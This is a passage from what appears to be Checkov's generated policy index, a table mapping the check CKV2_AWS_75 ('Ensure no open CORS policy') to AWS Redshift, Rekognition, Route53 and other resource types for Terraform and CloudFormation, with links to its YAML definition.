[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4622 | CKV2_AWS_75 | resource | aws_redshift_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4623 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4624 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4625 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy_grant | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4626 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4627 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4628 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4629 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4630 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4631 | CKV2_AWS_75 | resource | aws_redshift_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4632 | CKV2_AWS_75 | resource | aws_redshift_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4633 | CKV2_AWS_75 | resource | aws_redshift_usage_limit | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4634 | CKV2_AWS_75 | resource | aws_redshift_usage_limit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4635 | CKV2_AWS_75 | resource | aws_redshiftdata_statement | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4636 | CKV2_AWS_75 | resource | aws_redshiftdata_statement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4637 | CKV2_AWS_75 | resource | aws_redshiftserverless_custom_domain_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4638 | CKV2_AWS_75 | resource | aws_redshiftserverless_custom_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4639 | CKV2_AWS_75 | resource | aws_redshiftserverless_endpoint_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4640 | CKV2_AWS_75 | resource | aws_redshiftserverless_endpoint_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4641 | CKV2_AWS_75 | resource | aws_redshiftserverless_namespace | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4642 | CKV2_AWS_75 | resource | aws_redshiftserverless_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4643 | CKV2_AWS_75 | resource | aws_redshiftserverless_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4644 | CKV2_AWS_75 | resource | aws_redshiftserverless_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4645 | CKV2_AWS_75 | resource | aws_redshiftserverless_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4646 | CKV2_AWS_75 | resource | aws_redshiftserverless_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4647 | CKV2_AWS_75 | resource | aws_redshiftserverless_usage_limit | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4648 | CKV2_AWS_75 | resource | aws_redshiftserverless_usage_limit | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4649 | CKV2_AWS_75 | resource | aws_redshiftserverless_workgroup | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4650 | CKV2_AWS_75 | resource | aws_redshiftserverless_workgroup | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4651 | CKV2_AWS_75 | resource | aws_region_info | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4652 | CKV2_AWS_75 | resource | aws_region_info | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4653 | CKV2_AWS_75 | resource | aws_rekognition_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4654 | CKV2_AWS_75 | resource | aws_rekognition_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4655 | CKV2_AWS_75 | resource | aws_rekognition_project | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4656 | CKV2_AWS_75 | resource | aws_rekognition_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4657 | CKV2_AWS_75 | resource | aws_rekognition_stream_processor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4658 | CKV2_AWS_75 | resource | aws_rekognition_stream_processor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4659 | CKV2_AWS_75 | resource | aws_resiliencehub_resiliency_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4660 | CKV2_AWS_75 | resource | aws_resiliencehub_resiliency_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4661 | CKV2_AWS_75 | resource | aws_resourceexplorer2_index | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4662 | CKV2_AWS_75 | resource | aws_resourceexplorer2_index | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4663 | CKV2_AWS_75 | resource | aws_resourceexplorer2_view | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4664 | CKV2_AWS_75 | resource | aws_resourceexplorer2_view | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4665 | CKV2_AWS_75 | resource | aws_resourcegroups_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4666 | CKV2_AWS_75 | resource | aws_resourcegroups_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4667 | CKV2_AWS_75 | resource | aws_resourcegroups_resource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4668 | CKV2_AWS_75 | resource | aws_resourcegroups_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4669 | CKV2_AWS_75 | resource | aws_rolesanywhere_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4670 | CKV2_AWS_75 | resource | aws_rolesanywhere_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4671 | CKV2_AWS_75 | resource | aws_rolesanywhere_trust_anchor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4672 | CKV2_AWS_75 | resource | aws_rolesanywhere_trust_anchor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4673 | CKV2_AWS_75 | resource | aws_root | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4674 | CKV2_AWS_75 | resource | aws_root | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4675 | CKV2_AWS_75 | resource | aws_root_access_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4676 | CKV2_AWS_75 | resource | aws_root_access_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4677 | CKV2_AWS_75 | resource | aws_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4678 | CKV2_AWS_75 | resource | aws_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4679 | CKV2_AWS_75 | resource | aws_route53_cidr_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4680 | CKV2_AWS_75 | resource | aws_route53_cidr_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4681 | CKV2_AWS_75 | resource | aws_route53_cidr_location | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4682 | CKV2_AWS_75 | resource | aws_route53_cidr_location | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4683 | CKV2_AWS_75 | resource | aws_route53_delegation_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4684 | CKV2_AWS_75 | resource | aws_route53_delegation_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4685 | CKV2_AWS_75 | resource | aws_route53_health_check | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4686 | CKV2_AWS_75 | resource | aws_route53_health_check | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4687 | CKV2_AWS_75 | resource | aws_route53_hosted_zone_dnssec | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4688 | CKV2_AWS_75 | resource | aws_route53_hosted_zone_dnssec | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4689 | CKV2_AWS_75 | resource | aws_route53_key_signing_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4690 | CKV2_AWS_75 | resource | aws_route53_key_signing_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4691 | CKV2_AWS_75 | resource | aws_route53_query_log | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4692 | CKV2_AWS_75 | resource | aws_route53_query_log | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4693 | CKV2_AWS_75 | resource | aws_route53_record | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4694 | CKV2_AWS_75 | resource | aws_route53_record | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4695 | CKV2_AWS_75 | resource | aws_route53_resolver_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4696 | CKV2_AWS_75 | resource | aws_route53_resolver_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4697 | CKV2_AWS_75 | resource | aws_route53_resolver_dnssec_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4698 | CKV2_AWS_75 | resource | aws_route53_resolver_dnssec_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4699 | CKV2_AWS_75 | resource | aws_route53_resolver_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4700 | CKV2_AWS_75 | resource | aws_route53_resolver_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4701 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4702 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4703 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_domain_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4704 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_domain_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4705 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4706 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4707 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4708 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4709 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4710 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4711 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4712 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4713 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4714 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4715 | CKV2_AWS_75 | resource | aws_route53_resolver_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4716 | CKV2_AWS_75 | resource | aws_route53_resolver_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4717 | CKV2_AWS_75 | resource | aws_route53_resolver_rule_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4718 | CKV2_AWS_75 | resource | aws_route53_resolver_rule_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4719 | CKV2_AWS_75 | resource | aws_route53_traffic_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4720 | CKV2_AWS_75 | resource | aws_route53_traffic_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4721 | CKV2_AWS_75 | resource | aws_route53_traffic_policy_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4722 | CKV2_AWS_75 | resource | aws_route53_traffic_policy_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4723 | CKV2_AWS_75 | resource | aws_route53_vpc_association_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4724 | CKV2_AWS_75 | resource | aws_route53_vpc_association_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4725 | CKV2_AWS_75 | resource | aws_route53_zone | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4726 | CKV2_AWS_75 | resource | aws_route53_zone | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4727 | CKV2_AWS_75 | resource | aws_route53_zone_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4728 | CKV2_AWS_75 | resource | aws_route53_zone_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4729 | CKV2_AWS_75 | resource | aws_route53domains_delegation_signer_record | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4730 | CKV2_AWS_75 | resource | aws_route53domains_delegation_signer_record | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4731 | CKV2_AWS_75 | resource | aws_route53domains_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 